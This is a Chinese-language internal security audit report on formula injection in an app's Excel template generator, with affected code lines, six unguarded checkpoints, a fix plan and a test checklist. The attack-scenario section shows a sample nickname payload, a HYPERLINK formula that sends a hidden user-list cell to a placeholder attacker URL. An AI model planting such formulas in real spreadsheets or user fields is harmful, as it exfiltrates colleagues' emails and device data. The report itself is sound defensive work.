# B6 掃描報告 — Excel 範本的底層產生機制（CM-2077）

> 範圍：`app/module_frame/excel_template/` 整個資料夾，7 檔／1,656 行。
> 掃描工具：Claude Code 官方 `claude-security` plugin，effort low，focus 生產程式碼。
> 掃描基準 commit：`f80b9f6824fd`（工作區有其他 session 的未提交改動）。
> 驗證章：**verified**。只掃不修。
> 接續 B4（`scan-B4.md`）的呼叫端脈絡；B4 的 runner 已結束，本棒先讀完 B4 報告再接。

---

## 1. 一句話結論

**使用者填的文字寫進 Excel 時，只要開頭是 `=`，就會變成一個活的公式；從資料進系統到做成 Excel 檔，一共有六個地方可以擋，實際上一個都沒擋。** 這一棒另外查出一個 B4 沒看到、而且比較容易被利用的入口：**任何一個登入的使用者，只要把自己的暱稱改成一段公式，這段公式就會被塞進全公司每一份下載的範本裡——連「空白範本」也會。**

好消息是修法的工具已經有人做好了：CM-2055 在修正分支上新建了一支「把儲存格標成純文字」的共用函式，這一棒要修的地方直接用它，不必再寫一份。

---

## 2. 這一棒在檢查什麼

系統有一個功能：顧問可以把整份系統安全計畫（SSP）或合規範本下載成一個 Excel 檔，帶去跟客戶訪談，填完再上傳回來。B4 那棒查的是「誰能按下載」，這一棒查的是**「下載的那個 Excel 檔是怎麼做出來的」**——也就是把資料一格一格寫進 Excel 的那套底層程式。

這套程式有三個人在用：B4 的 SSP 匯出、B5 的範本匯出，以及帳號模組的「使用者匯入範本」。所以這裡有問題，三邊都會被波及。

本棒同時要收一條跨棒接力的線：O3b 查出「Excel 上傳進來時沒有中和公式字元」，B4 查出「匯出時沒擋、而且檔案設成打開就重算公式」，**中間那段——寫進格子的那一步——就在這一棒**。

---

> **現況（2026-10-01）**：本棒各條後來的處理結果如下（過程紀錄保留，不改）。
>
> - B6-1（暱稱／設備名稱進下拉分頁變公式）＝M11 第 21 條，✅ 已修（CM-2189，commit `895db0ef8`，1.21.0 出貨）。
> - B6-2（已填入內容模式寫入計畫文字）＝M11 第 20 條，✅ 已修（CM-2189，commit `895db0ef8`，1.21.0 出貨）。
> - 「說明」頁範本名稱那處（讀程式補的）：併 CM-2189 同一批修完，未另列條目。

## 3. 掃到什麼：總覽

| # | 這是什麼問題 | 出事會怎樣 | 要先有什麼才打得到 | 在哪裡 | 嚴重度 |
|---|---|---|---|---|---|
| B6-1 | **使用者的暱稱、設備名稱等資料，會原樣寫進範本裡的隱藏下拉清單分頁**；開頭是 `=` 就變成公式 | 同事下載任何一份範本、打開、按下 Excel 的「啟用編輯」，那段公式就在他電腦上跑——可以把同一個檔案裡**全公司使用者的 email 清單、設備 IP** 送到攻擊者的網站，或偽裝成一個看起來可信的釣魚連結 | ① **任何一個登入帳號**就夠（改自己的暱稱不需要任何權限）；或有權限改設備／資訊系統／部門名稱的人<br>② 有人下載範本並用 Excel 打開、按下啟用編輯 | `app/module_frame/excel_template/lookup_builder.py:47`（`build_lookup_sheet`）<br>`app/module_frame/excel_template/lookup_builder.py:91-93`（`build_lookup_sheet_with_helpers`） | **中** |
| B6-2 | **「已填入內容」模式的範本，把計畫裡存的文字（人名、元件說明、控制項敘述等）原樣寫進格子**（＝總表第 148 項的寫入點，本棒從另一側確認） | 同上，公式在打開檔案的人電腦上執行 | ① 能編輯該計畫內容的人（專案負責人）<br>② 有人下載「已填入內容」的範本並打開、啟用編輯 | `app/module_frame/excel_template/generator.py:578`（`_write_filled_rows`）<br>`app/module_frame/excel_template/generator.py:319`（`_build_vertical_single_row_sheet`） | **低**（投票時從中調降，理由見 4.2） |

**另外一處是我讀程式補的、沒經過投票**：範本第一頁「說明」上的「範本名稱」也是原樣寫入（`generator.py:227` 組資料、`:247` 寫入），詳見第 5 節。

---

## 4. 每條發現的詳述

### 4.1 B6-1 改自己的暱稱，就能在全公司的範本裡埋公式（本棒新發現）

**白話說明**

範本裡有好幾個下拉選單，例如「選一位負責人」「選一台設備」。這些選項不是寫死的，是每次下載時從資料庫撈出來，放在幾張**藏起來的分頁**（`_lookup_users`、`_lookup_devices` 等）裡。放進去的內容包括：每位使用者的暱稱和 email、每台設備的名稱／IP／作業系統、每個部門名稱、每個資訊系統的名稱和說明。

這些字是**原封不動**寫進格子的。而產生 Excel 用的那套程式庫（openpyxl）有個規則：**寫進去的字串只要以 `=` 開頭，它就自動把這格當成公式**。再加上整個檔案被設成「打開時重算所有公式」（`generator.py:137`），打開檔案那一刻，這些字就不再是文字，而是會執行的指令。

**為什麼這條比 B4 已知的那條更要緊**

B4 那條（總表第 148 項）要攻擊者先能編輯某份計畫的內容。這一條**門檻低得多**：

- 系統有一個「修改我的個人資料」功能（`PUT /user-profile/<自己的編號>`，在 jedi-iam 套件裡），**任何登入的人都能改自己的暱稱**，唯一的檢查是「你改的是不是你自己」，**暱稱內容完全不檢查**（只驗是不是文字、長度 255 以內）。
- 下拉清單是**全公司共用**的，所以一個人改了暱稱，之後公司裡**任何人下載的任何一份範本**都帶著這段公式——三種下載入口（從合規範本、從某份計畫、從框架版本）都會。
- **「空白範本」也有**。空白範本本來看起來最無害，但它一樣帶著下拉清單。

**攻擊情境**

一般員工把暱稱改成 `=HYPERLINK("https://攻擊者網址/?d="&'_lookup_users'!B2,"點此確認")`。一週後，顧問下載範本去客戶那裡訪談，打開 Excel 時這段公式就在他電腦上執行。更進一步的寫法可以把整張使用者清單（全公司 email）串起來送出去。

**在哪裡**

| 位置 | 是什麼 |
|---|---|
| `app/module_frame/excel_template/lookup_builder.py:47` | `build_lookup_sheet`：單欄下拉清單，逐格原樣寫入 |
| `app/module_frame/excel_template/lookup_builder.py:91` | `build_lookup_sheet_with_helpers`：下拉顯示文字（例如「暱稱 <email>」）原樣寫入 |
| `app/module_frame/excel_template/lookup_builder.py:93` | 同一支：自動帶入用的輔助欄（email、姓名、IP、作業系統、系統說明）原樣寫入 |
| `app/module_frame/excel_template/generator.py:137` | 把檔案設成「打開時重算所有公式」 |
| `app/module_frame/service/ssp_import_template_app_service.py:705-722` | 資料來源：把暱稱放進下拉資料，沒有任何處理 |

**怎麼修**

見第 6 節——B6-1 與 B6-2 用同一個修法，在同一套檔案裡一次改完。

**首腦核對註記**：三個獨立檢查員分別從「打不打得到」「出事多嚴重」「有沒有其他機制擋得住」三個角度投票，**三票全部認定成立**（兩票判中、一票判低，最終維持中）。我另外開了 jedi-iam 的原始碼核對：`user_route.py:240` 只比對「是不是本人」，`serializers/user.py:53` 的暱稱欄是 `fields.String()`，沒有內容檢查——屬實。

---

### 4.2 B6-2 「已填入內容」的範本把計畫文字原樣寫進格子（＝總表第 148 項，從另一側確認）

**白話說明**

下載範本時可以選「已填入內容」模式，系統會把這份計畫目前的內容先填好：參與人員姓名與地址、元件標題與說明、設備清單、參考文件檔名、每條控制項的實作敘述。這些字寫進格子的方式跟 B6-1 一樣——原樣寫入，`=` 開頭就變公式。

寫入的地方有兩個：多筆資料的分頁走 `_write_filled_rows`（`generator.py:578`），只有一筆資料的直式分頁（「基本資料」「受評標的」）走 `_build_vertical_single_row_sheet`（`generator.py:319`）。**B4 報告只點了 578，319 是同一個病的第二個寫入點**，修的時候要一起修。

**為什麼投票結果是「低」，跟 B4 判的「中」不一樣**

三位檢查員都認為成立，但三票都評「低」，理由是攻擊者要先有「編輯這份計畫」的權限（專案負責人），門檻比 B6-1 高。B4 那次投票評「中」。兩次投票看的是同一個寫入點，差在對前提的看法不同。**建議總表第 148 項維持原本的「中」**，理由有兩個：

- O3b 已經證實，Excel 上傳這條路也能把公式存進來。
- 總表第 125 項（O4）那條「覆寫範本完全不檢查權限」的漏洞，會讓「要先有編輯權」這個前提失效。

所以 B6-2 視為第 148 項的補充確認，**不另開新項次**。

**在哪裡**

| 位置 | 是什麼 |
|---|---|
| `app/module_frame/excel_template/generator.py:578` | `_write_filled_rows`：多筆資料分頁逐格原樣寫入（B4 已點名） |
| `app/module_frame/excel_template/generator.py:319` | `_build_vertical_single_row_sheet`：直式分頁的值原樣寫入（**B4 沒點到**） |

**首腦核對註記**：三票全數認定成立，三票都評「低」，所以工具把嚴重度從中調降為低。

---

## 5. 這一條路從進來到出去，總共有幾個地方可以擋？實際擋了幾個？

這是派工時要求本棒收口的問題。**答案：六個地方可以擋，實際擋了零個。**

使用者的文字要變成別人電腦上的公式，一路要經過這些關卡：

| # | 關卡 | 在哪裡 | 有沒有擋 | 說明 |
|---|---|---|---|---|
| 1 | **網頁表單送進來時**（改計畫內容、改暱稱、改設備名稱等） | 例：`api/oscal/serializers/ssp/ssp_party.py:13`、jedi-iam `serializers/user.py:53` | ❌ 沒擋 | 只檢查長度或型別，不看開頭字元 |
| 2 | **上傳 Excel 解析時** | `app/oscal/service/excel_parser/sheet_handlers.py:64`（`_coerce_cell`） | ❌ 沒擋 | 只做型別整理（數字轉文字等），`=` 開頭原樣收下（O3b 已查證） |
| 3 | **組裝下載資料時** | `app/module_frame/service/ssp_import_template_app_service.py`（B4 範圍） | ❌ 沒擋 | 從資料庫撈出來直接交給產生器 |
| 4 | **寫進下拉清單分頁時** | `app/module_frame/excel_template/lookup_builder.py:47`、`:91-93` | ❌ 沒擋 | ＝B6-1 |
| 5 | **寫進資料分頁時** | `app/module_frame/excel_template/generator.py:578`、`:319` | ❌ 沒擋 | ＝B6-2 |
| 6 | **寫進「說明」頁時** | `app/module_frame/excel_template/generator.py:247`（範本名稱，資料在 `:227` 組成） | ❌ 沒擋 | **我讀程式補的、沒經過投票**：合規範本的名稱原樣寫進說明頁。要能改範本名稱才打得到，門檻比 B6-2 高，但修法完全一樣，順手一起修 |

另外還有一個**讓情況更糟、但不是病根**的設定：`generator.py:137` 把檔案設成「打開時重算所有公式」。這行**不能直接拿掉**——範本本身有一批系統刻意放的「選了負責人就自動帶出 email」的公式（`generator.py:498-543`），需要它才會算。病根是「資料被當成公式」，不是「公式會算」。

### 中和應該放在哪一層？——寫進格子的那一層（第 4、5、6 關）

理由三個：

1. **只有這一層是必經之路。** 資料進系統的入口太多：網頁表單、Excel 上傳、Word 上傳、jedi-iam 的個人資料、資產模組的設備與資訊系統。擋在入口要每個都改，漏一個就破功，而且以後新增入口又會漏。反過來，所有資料要變成 Excel，**都要經過這三支寫入函式**。
2. **入口不該改資料。** 使用者寫「- 尚未實作」這種條列是正常內容，進來時就改掉，等於竄改使用者的原文。問題只在「做成 Excel 那一刻被誤當公式」，所以只在那一刻處理就好。
3. **這份 Excel 還會被上傳回來**，所以修法不能改動內容本身（見第 6 節）。

入口那一層（第 1、2 關）**不建議**也去擋。如果決策者想要雙保險，比較合理的做法是只在第 2 關（上傳解析）記一筆警告日誌、不改內容，這樣至少看得到有人在試。

---

## 6. 怎麼修（B6-1 與 B6-2 一起）

**用 CM-2055 已經做好的那支函式，不要再寫一份。**

CM-2055（FR-114 第 5A-4 卡，合併了原本的 5C-7）已經在 `jedi-common` 新建了 `jedi_common/utils/export_safety.py`，裡面有兩支函式：

- `neutralize_formula(value)`：在開頭加一個單引號。**不適合這裡用**——這份範本會被上傳回來，單引號會被當成內容讀回去，每下載、上傳一趟就多一撇。
- **`set_text_cell(cell, value)`**：內容一個字都不改，只把這格標記成「純文字」。**這裡要用這一支。**我實際測過：用它寫入 `=HYPERLINK(...)` 後存檔再讀回，讀到的還是原字串、型別是文字，不是公式。CM-2055 在 OSCAL 控制項匯出（`ssp_control_impl_import_service.py:139/163`）也是基於同樣理由選了這支。

**要改的地方（都改成 `set_text_cell(ws.cell(row=..., column=...), value)`）：**

| 檔案:行 | 函式 | 改什麼 |
|---|---|---|
| `app/module_frame/excel_template/lookup_builder.py:47` | `build_lookup_sheet` | 下拉清單的值 |
| `app/module_frame/excel_template/lookup_builder.py:91`、`:93` | `build_lookup_sheet_with_helpers` | 下拉顯示文字、輔助欄 |
| `app/module_frame/excel_template/generator.py:578` | `_write_filled_rows` | 資料分頁的值 |
| `app/module_frame/excel_template/generator.py:319` | `_build_vertical_single_row_sheet` | 直式分頁的值 |
| `app/module_frame/excel_template/generator.py:247` | `_build_intro_sheet` | 說明頁 B 欄（範本名稱等） |

**⚠️ 開工單時務必寫明四件事：**

1. **系統自己的公式不能一起改掉。** `generator.py:543` 的 `_apply_autofill_formulas` 是刻意寫入的「自動帶入」公式，這支**不能**套 `set_text_cell`，否則自動帶入功能會壞掉。只改上表那幾行。
2. **前提：那支函式還沒發版。** `export_safety.py` 目前只在套件 monorepo 的 `fix/security-b1` 分支（commit `38de2886`）上；主專案 `pyproject.toml` 仍然鎖 `jedi-common==1.2.0`。本卡要排在 CM-2055 那一包之後，或在同一個修正分支上做。
3. **波及帳號模組。** 「使用者匯入範本」（`app/auth/service/user_import_template_app_service.py:97`）**沒有**用 `lookup_builder`，它自己另寫了一份下拉清單，把公司名、部門名、角色名原樣寫進去。改 `lookup_builder` 蓋不到它，要另外套 `set_text_cell`。它的門檻較高（要能改部門或角色名稱，通常是管理員）。
4. **對上傳解析那端沒有影響。** `app/oscal/service/excel_parser/sheet_handlers.py` 只讀這套檔案的欄位定義（`sheet_definitions.py`），不用寫入函式。`set_text_cell` 標過的格子讀回來仍是原字串，匯入行為不變。

**修完的手測清單：**

- [ ] 把自己的暱稱改成 `=1+1`，下載三種範本（合規範本、計畫、框架版本）→ 打開後，隱藏的使用者分頁顯示 `=1+1` 這串字，不是 `2`
- [ ] 計畫的參與人員姓名填 `=1+1`，下載「已填入內容」範本 → 參與人員分頁與基本資料分頁都顯示原字串
- [ ] 空白範本選一位負責人 → email 欄仍會自動帶出（確認自動帶入公式沒被改壞）
- [ ] 「已填入內容」範本原檔直接上傳回去 → 上傳後的內容與下載前一字不差，`-` 開頭的條列沒有多出單引號

---

## 7. 三個固定問題：這套檔案的守門狀況

派工時要求對每支公開方法問三件事：有沒有做權限檢查、有沒有用上檢查的結果、是不是每個分支都有守到。

**這套檔案裡沒有任何一支方法做權限或歸屬檢查，這是正常的。** 我逐檔 grep 過 `permission`、`authz`、`Forbidden`、`tenant`、`user_id`、`session`：7 支檔裡唯一命中的是 `sheet_definitions.py` 的註解文字（說明下拉資料來自公司範圍）。這套程式只負責「把資料排成 Excel」，不碰資料庫，也不知道是誰在呼叫。**卡上要求另外標記的「判斷邏輯散落在不該散落的地方」，沒有發生。**

所以守門責任完全在呼叫端（B4、B5）。B4 已查出「從某份計畫下載」那一條沒檢查這份計畫是不是呼叫者的（總表第 128 項，跨客戶）。這一棒沒有新的權限發現。

至於「同一支函式，一條路有做、另一條路沒做」：這次是**所有路都沒做**，所以不是「守了一半」的形狀。但 B4 報告的修法建議只點了 `generator.py:578` 這一處，實際上有五個寫入點（第 6 節表格）。只修 578 的話，會變成**第 148 項修好了、B6-1 那條門檻更低的路還開著**——換句話說，修的時候自己會造出一個「守了一半」。**開卡時務必把五個寫入點逐一列成驗收項。**

---

## 8. 這份結果可信到什麼程度

分兩層講：

**「這兩條存在嗎」——可信度高。**
三個獨立檢查員對兩條發現各投一票，**6 票全數投出、沒有漏投，兩條都是 3 票全部認定成立**。關鍵事實我也自己開檔、實際跑過程式確認：

- openpyxl 3.1.5 的行為我實際跑過：`=` 開頭的字串被標成公式；`+`、`-`、`@`、Tab 開頭的在 Excel 檔裡**不會**被當公式（它們在 CSV 才會出事），所以這份 Excel 真正的觸發字元只有 `=`。`set_text_cell` 對這幾個字元都會處理，無害。
- jedi-iam 的暱稱修改端點不檢查內容：開原始碼確認屬實。
- `set_text_cell` 寫入再讀回的結果：實際跑過，原字串、純文字型別，不會多出一撇。

**「只有這兩條嗎」——不保證。**

1. 這次用的是**最快的掃描檔位**（effort low）：一輪研究員加一輪投票，沒有跑威脅建模與廣度掃描。
2. 第 5 節第 6 關（說明頁的範本名稱）與第 6 節第 3 點（帳號模組的使用者匯入範本）**是我讀程式讀出來的，工具沒有報**，沒有經過投票。
3. 全程沒有實際打任何網址、沒有真的用 Excel 打開攻擊檔案。「會被當成公式」是用程式庫實際跑出來確認的；「Excel 打開後會送出資料」則是依 Excel 已知行為推斷的。

---

## 9. 執行概況（數字，給工程師看）

| 項目 | 數值 |
|---|---|
| 掃描範圍 | 7 檔 / 1,656 行（`app/module_frame/excel_template/` 全目錄） |
| 基準 commit | `f80b9f6824fd`（工作區 dirty，有平行 session 改動） |
| 檔位 | effort low，focus 生產程式碼 |
| 研究員 | 派 2 支，回 2 支 |
| 原始候選 | 2 條，去重後 2 條 |
| 投票 | 三個檢查員 × 2 條 = 6 票，全數投出 |
| 票型 | B6-1 3:0（兩票中、一票低，維持中）；B6-2 3:0（三票都評低，從中調降為低） |
| 驗證章 | **verified**（`CLAUDE-SECURITY-REVISION-f80b9f6824fd-dirty.json`） |
| 工具 run ID | `wf_82bb0393-4dc` |
| 耗時 | 約 15 分鐘（8 個 agent，零失敗） |
| 工具產出原始報告 | `CLAUDE-SECURITY-20260923-095130/`（未入版控） |

---

## 10. 待首腦裁決（掃描當時；2026-10-01 同步：B6-1 與第 148 項已合併修完，CM-2189，1.21.0 出貨；第 3、4 項查不到處理紀錄故保留原文）

1. **B6-1 要不要登記成總表的新項次**（建議要：它是新入口，門檻是「任何登入帳號」，而且波及所有範本，包括空白範本）。
2. **修正卡要不要和第 148 項合併成一張**（建議合併：同一套檔案、同一支函式，拆開修會造出「守了一半」）。要排在 CM-2055 的 `jedi-common` 發版之後。
3. **帳號模組的使用者匯入範本**（`user_import_template_app_service.py:97`，範圍外、未經投票）要不要併進同一張卡。
4. **上傳端（第 2 關）要不要加警告日誌**：本棒建議只加日誌、不改內容，由決策者定。
